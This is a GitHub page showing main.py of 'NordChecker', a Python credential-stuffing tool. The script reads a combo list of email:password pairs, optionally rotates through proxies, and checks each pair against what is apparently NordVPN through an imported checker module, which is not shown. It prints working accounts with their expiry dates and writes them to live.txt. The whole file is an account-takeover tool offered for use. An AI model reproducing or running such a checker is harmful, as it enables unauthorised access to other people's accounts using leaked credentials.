-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
71 lines (59 loc) · 4.01 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from modules.defs import Main
from tkinter import filedialog, Tk
from os import system, name
import time
defs = Main()
class App:
def __init__(self):
self.logo = """
███╗░░██╗░█████╗░██████╗░██████╗░░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗███████╗██████╗░
████╗░██║██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝██╔════╝██╔══██╗
██╔██╗██║██║░░██║██████╔╝██║░░██║██║░░╚═╝███████║█████╗░░██║░░╚═╝█████═╝░█████╗░░██████╔╝
██║╚████║██║░░██║██╔══██╗██║░░██║██║░░██╗██╔══██║██╔══╝░░██║░░██╗██╔═██╗░██╔══╝░░██╔══██╗
██║░╚███║╚█████╔╝██║░░██║██████╔╝╚█████╔╝██║░░██║███████╗╚█████╔╝██║░╚██╗███████╗██║░░██║
╚═╝░░╚══╝░╚════╝░╚═╝░░╚═╝╚═════╝░░╚════╝░╚═╝░░╚═╝╚══════╝░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝
by SmookeyDev
"""
self.data = defs.getData()
self.main()
def main(self):
if name == 'nt':system('cls')
else: system('clear')
print(self.logo)
time.sleep(2)
defs.save_live()
defs.save_dead()
defs.use_proxy()
if self.data['use_proxy'] == True:
proxy_list = filedialog.askopenfilename()
proxy_read = defs.read(proxy_list)
proxy_array = []
for i in proxy_read:
proxy_array.append(i)
self.data['proxy_list'] = proxy_array
print("=>> Choose combo list text file. (email:pass) ")
combo_list = filedialog.askopenfilename()
combo_read = defs.read(combo_list)
for i in combo_read:
splitted = i.split(':', 1)
resp = defs.checker(splitted[0], splitted[1])
data = resp['data']
self.data['checked'] += 1
if resp.get('process') == True:
if self.data['use_proxy'] == False:
print(f"\033[92mApproved =>> Email: {data['email']} | Password: {data['password']} | Expires At: {data['expires_at']}\033[00m")
else:
print(f"\033[92mApproved =>> Email: {data['email']} | Password: {data['password']} | Expires At: {data['expires_at']} ({resp['message']})\033[00m")
self.data['live'] += 1
if self.data['save_live'] == True:
with open('./live.txt', 'a') as file:
file.write(f"{data['email']}:{data['password']}\n")
else:
print(f"\033[91mRepproved =>> Email: {data['email']} | Password: {data['password']} ({resp['message']})\033[00m")
self.data['dead'] += 1
if self.data['save_dead'] == True:
with open('./dead.txt', 'a') as file:
file.write(f"{data['email']}:{data['password']}\n")
print(f"=>> End. Checked: {self.data['checked']} | Live: {self.data['live']} | Dead: {self.data['dead']}")
if __name__ == "__main__":
App()